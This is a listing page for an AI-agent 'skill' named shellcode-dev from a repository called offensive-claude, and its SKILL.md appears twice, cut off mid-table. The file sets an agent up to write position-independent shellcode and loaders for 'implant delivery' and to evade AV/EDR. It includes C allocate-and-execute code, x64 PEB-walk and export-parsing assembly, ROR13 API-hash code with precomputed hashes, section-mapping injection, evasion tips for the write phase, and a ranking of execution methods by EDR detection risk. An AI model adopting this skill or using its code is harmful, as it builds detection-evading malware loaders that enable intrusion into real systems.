shellcode-dev

Name: shellcode-dev
Author: hypnguyen1209

320stars55forks

How to install shellcode-dev?

hypnguyen1209/offensive-claude/shellcode-dev

$npx -y skills add hypnguyen1209/offensive-claude --skill shellcode-dev

Installs into the current project.

Summary

Use when writing position-independent shellcode or a loader — PEB walking, API hashing, null-byte avoidance, encoders, loaders, PE-to-shellcode conversion, cross-platform shellcode

Files · 1

View on GitHub

SKILL.md

1	# Shellcode Development
2
3	## When to Activate
4
5	- Writing custom x86/x64 shellcode
6	- Implementing position-independent code (PIC)
7	- Building shellcode loaders for implant delivery
8	- Evading AV/EDR static detection
9	- Converting PE files to shellcode
10	- Cross-platform shellcode development
11
12	## Execution Pattern (Allocate-Write-Execute)
13
14	Avoid direct `PAGE_EXECUTE_READWRITE` — prefer two-step:
15
16	```c
17	// 1. Allocate with RW
18	char *dest = VirtualAlloc(NULL, size, MEM_COMMIT\|MEM_RESERVE, PAGE_READWRITE);
19	// 2. Write shellcode
20	memcpy(dest, shellcode, size);
21	// 3. Switch to RX (no write permission)
22	VirtualProtect(dest, size, PAGE_EXECUTE_READ, &old);
23	// 4. Execute
24	((void(*)())dest)();
25	```
26
27	## Position-Independent Code (PIC)
28
29	\| Method \| Platform \| Notes \|
30	\|--------\|----------\|-------\|
31	\| Call/Pop \| Windows \| Push next addr, pop into register \|
32	\| FPU state (fstenv) \| Windows \| Saves instruction pointer \|
33	\| SEH \| Windows \| Exception handler stores EIP \|
34	\| RIP-relative \| x64 \| `lea rax, [rip+offset]` \|
35	\| GOT \| Linux \| Global Offset Table \|
36	\| VDSO \| Linux \| Kernel-provided shared object \|
37
38	## Windows API Resolution (PEB Walk)
39
40	```nasm
41	; x64 PEB walk to find kernel32.dll base
42	find_kernel32:
43	xor rcx, rcx
44	mov rax, gs:[rcx + 0x60] ; RAX = PEB
45	mov rax, [rax + 0x18] ; RAX = PEB->Ldr
46	mov rsi, [rax + 0x20] ; RSI = InMemoryOrderModuleList
47	lodsq ; skip first entry (exe)
48	xchg rax, rsi
49	lodsq ; skip ntdll
50	mov rbx, [rax + 0x20] ; RBX = kernel32 base address
51	```
52
53	### Export Address Table (EAT) Parsing
54
55	```nasm
56	; Parse EAT to find GetProcAddress
57	mov ebx, [rbx + 0x3C] ; PE signature offset
58	add rbx, r8 ; PE header
59	mov edx, [rbx + 0x88] ; Export Directory RVA
60	add rdx, r8 ; Export Directory VA
61	mov r10d, [rdx + 0x14] ; NumberOfFunctions
62	mov r11d, [rdx + 0x20] ; AddressOfNames RVA
63	add r11, r8 ; AddressOfNames VA
64	; Loop through names, compare hash/string
65	```
66
67	### API Hashing (ROR13)
68
69	```python
70	# Generate hash for API name
71	def ror13_hash(name):
72	hash_val = 0
73	for c in name:
74	hash_val = ((hash_val >> 13) \| (hash_val << 19)) & 0xFFFFFFFF
75	hash_val = (hash_val + ord(c)) & 0xFFFFFFFF
76	return hash_val
77
78	# Common hashes:
79	# GetProcAddress: 0x7c0dfcaa
80	# LoadLibraryA: 0xec0e4e8e
81	# VirtualAlloc: 0x91afca54
82	# CreateProcessA: 0x863fcc79
83	```
84
85	## Null-Byte Avoidance
86
87	\| Problem \| Solution \|
88	\|---------\|----------\|
89	\| `mov rax, 0` \| `xor rax, rax` \|
90	\| `mov eax, 0x00000001` \| `xor eax, eax; inc eax` \|
91	\| String with null terminator \| Push string in reverse, use stack pointer \|
92	\| `add rsp, 0x200` \| `sub rsp, 0xfffffffffffffdf8` (two's complement) \|
93	\| Zero in immediate \| Use `sub` from known value, or XOR encoding \|
94
95	## Shellcode Loaders
96
97	### Loader Responsibilities
98	1. Environment verification / keying (sandbox detection)
99	2. Shellcode decryption (XOR, RC4, AES)
100	3. Safe memory allocation and injection
101	4. Execution transfer
102
103	### Recommended Languages
104	- Zig: Small binary, no runtime, good for loaders
105	- Rust: Memory-safe, no runtime overhead
106	- Nim: Compiles to C, small binaries
107	- Go: Cross-platform but watch for runtime signatures
108
109	### Allocation Strategies
110
111	```c
112	// Two-step allocation (avoid RWX)
113	LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT\|MEM_RESERVE, PAGE_READWRITE);
114	memcpy(mem, shellcode, size);
115	VirtualProtect(mem, size, PAGE_EXECUTE_READ, &old);
116
117	// Alternative: Section mapping
118	HANDLE hSection;
119	NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
120	NtMapViewOfSection(hSection, GetCurrentProcess(), &localView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
121	// Write shellcode to localView
122	NtMapViewOfSection(hSection, GetCurrentProcess(), &execView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ);
123	// Execute from execView
124	```
125
126	### Evasion Tips for Write Phase
127	- Prepend shellcode with dummy NOPs/garbage opcodes
128	- Split into chunks, write in randomized order
129	- Add random delays between writes
130	- Use `NtWriteVirtualMemory` instead of `memcpy` for remote injection
131
132	### Execution Methods
133
134	\| Technique \| Detection Risk \| Notes \|
135	\|-----------\|---------------\|-------\|
136	\| CreateRemoteThread \| HIGH \| Heavily monitored by all EDRs \|
137	\| NtQueueApcThreadEx \| MEDIUM \| A

People who liked this also viewed

6 picks

Type

entra-app-registrationGuides Microsoft Entra ID app registration, OAuth 2.0 authentication, and MSAL integration. USE FOR: create app registration, register Azure AD app, configure OAuth, set up authentication, add API perSkillsJul 2026471k1.3k
azure-complianceRun Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: SkillsJul 2026470k1.3k
azure-rbacOfficial agent plugin providing skills and MCP server configurations for Azure scenarios.SkillsJul 2026466k1.3k
better-auth-best-practicesAgent skill from better-auth/skillsSkillsJul 202678k203
firebase-security-rules-auditorA skill to evaluate how secure Firestore security rules are. Use this when Firestore security rules are updated to ensure that the generated rules are extremely secure and robust.SkillsJul 202676k386
audit-websiteAudit a website with the squirrelscan CLI and fix the findings in code. Runs SEO, performance, security, technical, content, accessibility, and 15 other rule categories (260+ rules), returns an LLM-opSkillsJul 202665k85

shellcode-dev

320stars55forks

View on GitHub

How to install shellcode-dev?

hypnguyen1209/offensive-claude/shellcode-dev

$npx -y skills add hypnguyen1209/offensive-claude --skill shellcode-dev

Installs into the current project.

Summary

Use when writing position-independent shellcode or a loader — PEB walking, API hashing, null-byte avoidance, encoders, loaders, PE-to-shellcode conversion, cross-platform shellcode

Files · 1

View on GitHub

SKILL.md

1	# Shellcode Development
2
3	## When to Activate
4
5	- Writing custom x86/x64 shellcode
6	- Implementing position-independent code (PIC)
7	- Building shellcode loaders for implant delivery
8	- Evading AV/EDR static detection
9	- Converting PE files to shellcode
10	- Cross-platform shellcode development
11
12	## Execution Pattern (Allocate-Write-Execute)
13
14	Avoid direct `PAGE_EXECUTE_READWRITE` — prefer two-step:
15
16	```c
17	// 1. Allocate with RW
18	char *dest = VirtualAlloc(NULL, size, MEM_COMMIT\|MEM_RESERVE, PAGE_READWRITE);
19	// 2. Write shellcode
20	memcpy(dest, shellcode, size);
21	// 3. Switch to RX (no write permission)
22	VirtualProtect(dest, size, PAGE_EXECUTE_READ, &old);
23	// 4. Execute
24	((void(*)())dest)();
25	```
26
27	## Position-Independent Code (PIC)
28
29	\| Method \| Platform \| Notes \|
30	\|--------\|----------\|-------\|
31	\| Call/Pop \| Windows \| Push next addr, pop into register \|
32	\| FPU state (fstenv) \| Windows \| Saves instruction pointer \|
33	\| SEH \| Windows \| Exception handler stores EIP \|
34	\| RIP-relative \| x64 \| `lea rax, [rip+offset]` \|
35	\| GOT \| Linux \| Global Offset Table \|
36	\| VDSO \| Linux \| Kernel-provided shared object \|
37
38	## Windows API Resolution (PEB Walk)
39
40	```nasm
41	; x64 PEB walk to find kernel32.dll base
42	find_kernel32:
43	xor rcx, rcx
44	mov rax, gs:[rcx + 0x60] ; RAX = PEB
45	mov rax, [rax + 0x18] ; RAX = PEB->Ldr
46	mov rsi, [rax + 0x20] ; RSI = InMemoryOrderModuleList
47	lodsq ; skip first entry (exe)
48	xchg rax, rsi
49	lodsq ; skip ntdll
50	mov rbx, [rax + 0x20] ; RBX = kernel32 base address
51	```
52
53	### Export Address Table (EAT) Parsing
54
55	```nasm
56	; Parse EAT to find GetProcAddress
57	mov ebx, [rbx + 0x3C] ; PE signature offset
58	add rbx, r8 ; PE header
59	mov edx, [rbx + 0x88] ; Export Directory RVA
60	add rdx, r8 ; Export Directory VA
61	mov r10d, [rdx + 0x14] ; NumberOfFunctions
62	mov r11d, [rdx + 0x20] ; AddressOfNames RVA
63	add r11, r8 ; AddressOfNames VA
64	; Loop through names, compare hash/string
65	```
66
67	### API Hashing (ROR13)
68
69	```python
70	# Generate hash for API name
71	def ror13_hash(name):
72	hash_val = 0
73	for c in name:
74	hash_val = ((hash_val >> 13) \| (hash_val << 19)) & 0xFFFFFFFF
75	hash_val = (hash_val + ord(c)) & 0xFFFFFFFF
76	return hash_val
77
78	# Common hashes:
79	# GetProcAddress: 0x7c0dfcaa
80	# LoadLibraryA: 0xec0e4e8e
81	# VirtualAlloc: 0x91afca54
82	# CreateProcessA: 0x863fcc79
83	```
84
85	## Null-Byte Avoidance
86
87	\| Problem \| Solution \|
88	\|---------\|----------\|
89	\| `mov rax, 0` \| `xor rax, rax` \|
90	\| `mov eax, 0x00000001` \| `xor eax, eax; inc eax` \|
91	\| String with null terminator \| Push string in reverse, use stack pointer \|
92	\| `add rsp, 0x200` \| `sub rsp, 0xfffffffffffffdf8` (two's complement) \|
93	\| Zero in immediate \| Use `sub` from known value, or XOR encoding \|
94
95	## Shellcode Loaders
96
97	### Loader Responsibilities
98	1. Environment verification / keying (sandbox detection)
99	2. Shellcode decryption (XOR, RC4, AES)
100	3. Safe memory allocation and injection
101	4. Execution transfer
102
103	### Recommended Languages
104	- Zig: Small binary, no runtime, good for loaders
105	- Rust: Memory-safe, no runtime overhead
106	- Nim: Compiles to C, small binaries
107	- Go: Cross-platform but watch for runtime signatures
108
109	### Allocation Strategies
110
111	```c
112	// Two-step allocation (avoid RWX)
113	LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT\|MEM_RESERVE, PAGE_READWRITE);
114	memcpy(mem, shellcode, size);
115	VirtualProtect(mem, size, PAGE_EXECUTE_READ, &old);
116
117	// Alternative: Section mapping
118	HANDLE hSection;
119	NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
120	NtMapViewOfSection(hSection, GetCurrentProcess(), &localView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
121	// Write shellcode to localView
122	NtMapViewOfSection(hSection, GetCurrentProcess(), &execView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ);
123	// Execute from execView
124	```
125
126	### Evasion Tips for Write Phase
127	- Prepend shellcode with dummy NOPs/garbage opcodes
128	- Split into chunks, write in randomized order
129	- Add random delays between writes
130	- Use `NtWriteVirtualMemory` instead of `memcpy` for remote injection
131
132	### Execution Methods
133
134	\| Technique \| Detection Risk \| Notes \|
135	\|-----------\|---------------\|-------\|
136	\| CreateRemoteThread \| HIGH \| Heavily monitored by all EDRs \|
137	\| NtQueueApcThreadEx \| MEDIUM \| A

People who liked this also viewed

6 picks

Type